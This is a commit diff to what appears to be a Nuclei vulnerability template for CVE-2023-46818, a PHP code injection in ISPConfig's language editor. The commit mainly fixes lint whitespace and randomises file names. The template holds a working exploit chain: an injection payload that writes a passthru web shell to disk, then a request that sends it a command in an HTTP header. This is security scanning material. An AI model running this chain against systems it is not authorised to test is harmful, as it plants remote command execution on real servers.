address lint errors, generate rand values

http/cves/2023/CVE-2023-46818.yaml

@@ -1,40 +1,40 @@
 id: CVE-2023-46818
 
-info: 
-  name: ISPConfig PHP Code Injection if allow_admin_langedit is enabled 
+info:
+  name: ISPConfig PHP Code Injection if allow_admin_langedit is enabled
   author: non-things
   severity: high
   description: |
     An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
-  reference: 
+  reference:
     - https://nvd.nist.gov/vuln/detail/CVE-2023-46818
     - https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/
     - http://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html
     - http://seclists.org/fulldisclosure/2023/Dec/2
 
-  classification: 
+  classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 7.2
     cve-id: CVE-2023-46818
     cwe-id: CWE-94
 
-  metadata: 
+  metadata:
     verified: true
     max-requests: 1
     product: ispconfig
   tags: ispconfig,rce
 
-variables: 
-   lang-file: sbcoeybcmrpkgkiutdflqzfwvj.lng
-   websh-file: f1f755911b4ce3bde7f811de445aebf1.php
-   websh: "<?php print('____'); passthru($_SERVER['HTTP_C']); print('____'); ?>"
-   websh-base64: "{{base64(websh)}}"
-   payload: "'];file_put_contents('{{websh-file}}',base64_decode('{{websh-base64}}'));die;#"
-   payload-url-enc: "{{url_encode(payload)}}"
-   echo-cmd-hash: fa8b39a9446212dff83ed5d830f044a3
-   echo-cmd: "echo {{echo-cmd-hash}}"
+variables:
+  lang-file: "{{rand_text_alpha(26)}}.lng"
+  websh-file: "{{rand_text_alphanumeric(32)}}.php"
+  websh: "<?php print('____'); passthru($_SERVER['HTTP_C']); print('____'); ?>"
+  websh-base64: "{{base64(websh)}}"
+  payload: "'];file_put_contents('{{websh-file}}',base64_decode('{{websh-base64}}'));die;#"
+  payload-url-enc: "{{url_encode(payload)}}"
+  echo-cmd-hash: "{{rand_text_alphanumeric(32)}}"
+  echo-cmd: "echo {{echo-cmd-hash}}"
 
-http: 
+http:
 
   - method: POST
     path:
@@ -55,7 +55,7 @@ http:
           - "Set-Cookie"
 
   - method: POST
-    path: 
+    path:
       - "{{BaseURL}}/admin/language_edit.php"
     headers:
       Content-Type: application/x-www-form-urlencoded
@@ -70,7 +70,7 @@ http:
       - type: word
         words:
           - "_csrf_id"
-          - "_csrf_key_" 
+          - "_csrf_key_"
         condition: and
 
     extractors:
@@ -78,14 +78,14 @@ http:
         name: lang_file_location
         internal: true
         group: 1
-        regex: 
+        regex:
           - "<legend>Language file: (.*)</legend>"
 
       - type: regex
         name: csrf_id
         internal: true
         group: 1
-        regex: 
+        regex:
           - "_csrf_id\" value=\"(.*)\" />"
 
       - type: regex
@@ -108,7 +108,7 @@ http:
           - 200
 
   - method: GET
-    path: 
+    path:
       - "{{BaseURL}}/admin/{{websh-file}}"
     headers:
       C: "{{echo-cmd}}"